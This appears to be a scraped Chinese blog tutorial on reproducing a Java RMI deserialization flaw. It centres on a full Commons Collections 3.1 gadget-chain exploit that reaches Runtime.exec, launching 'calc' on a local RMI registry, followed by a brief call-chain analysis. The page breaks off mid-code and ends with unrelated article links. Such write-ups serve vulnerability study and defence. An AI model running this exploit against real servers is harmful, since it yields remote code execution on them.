文章插图
?
文章插图
?
三、漏洞复现RMI反序列化漏洞的存在必须包含两个条件:
- 能够进行RMI通信
- 目标服务器引用了第三方存在反序列化漏洞的jar包
这里我们以Apache Commons Collections反序列化漏洞为例,使用的版本为commons-collections.jar 3.1,新建一个漏洞利用的类RMIexploit
- package client;
- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.ChainedTransformer;
- import org.apache.commons.collections.functors.ConstantTransformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.keyvalue.TiedMapEntry;
- import org.apache.commons.collections.map.LazyMap;
- import javax.management.BadAttributeValueExpException;
- import java.lang.reflect.Constructor;
- import java.lang.reflect.Field;
- import java.lang.reflect.InvocationHandler;
- import java.lang.reflect.Proxy;
- import java.rmi.Remote;
- import java.rmi.registry.LocateRegistry;
- import java.rmi.registry.Registry;
- import java.util.HashMap;
- import java.util.Map;
- public class RMIexploit {
- public static void main(String[] args) throws Exception {
- // 远程RMI Server的地址
- String ip = "127.0.0.1";
- int port = 1099;
- // 要执行的命令
- String command = "calc";
- final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
- // real chain for after setup
- final Transformer[] transformers = new Transformer[] {
- new ConstantTransformer(Runtime.class),
- new InvokerTransformer("getMethod",
- new Class[] {String.class, Class[].class },
- new Object[] {"getRuntime", new Class[0] }),
- new InvokerTransformer("invoke",
- new Class[] {Object.class, Object[].class },
- new Object[] {null, new Object[0] }),
- new InvokerTransformer("exec",
- new Class[] { String.class },
- new Object[] { command }),
- new ConstantTransformer(1) };
- Transformer transformerChain = new ChainedTransformer(transformers);
- Map innerMap = new HashMap();
- Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
- TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
- BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
- Field valfield = badAttributeValueExpException.getClass().getDeclaredField("val");
- valfield.setAccessible(true);
- valfield.set(badAttributeValueExpException, entry);
- String name = "pwned"+ System.nanoTime();
- Map<String, Object> map = new HashMap<String, Object>();
- map.put(name, badAttributeValueExpException);
- // 获得AnnotationInvocationHandler的构造函数
- Constructor cl = Class.forName(ANN_INV_HANDLER_CLASS).getDeclaredConstructors()[0];
- cl.setAccessible(true);
- // 实例化一个代理
- InvocationHandler hl = (InvocationHandler)cl.newInstance(Override.class, map);
- Object object = Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, hl);
- Remote remote = Remote.class.cast(object);
- Registry registry=LocateRegistry.getRegistry(ip,port);
- registry.bind(name, remote);
- }
- }
文章插图
?
四、漏洞分析其实RMI反序列化的POC比Apache Commons Collections反序列化漏洞的POC只是多了RMI的通信步骤,Commons Collections组件的分析网上已经有很多,这里只对本文使用的调用链做简要分析 。
文章插图
?
如上图所示,当序列化的数据到达RMI Server后回自动进行反序列化操作,首先是AnnotationInvocationHandler执行readObject函数;然后调用TiedMapEntry的toString函数,再调用同文件的getValue方法;然后调用到LazyMap的get方法;后面的步骤其实一个循环调用的过程,利用ChainedTransformer中的transform方法,多次调用,直到最后的命令执行 。
- public Object transform(Object object) {
推荐阅读
- 从容不迫的意思,从容的反义词 从容不迫
- 微信QQ传文件太过反人类?教你如何解决
- 反复冲茶有害还是无害
- 利用DNS反射绕过防火墙进行通信
- 梦见和仇人大打出手 梦见与父亲反目成仇大打出手意味什么
- 喝茶易致贫血?反季节蔬菜有激素?这些饮食传言是真是假,终于知道了……
- 你是靠反复烧水保持水温的么 你躺枪了
- Java基础--RMI
- 最小的全画幅数码相机 最轻的全画幅单反相机
- 双十一前涨价违反天猫规则吗 天猫双十一应该是全年最低价吗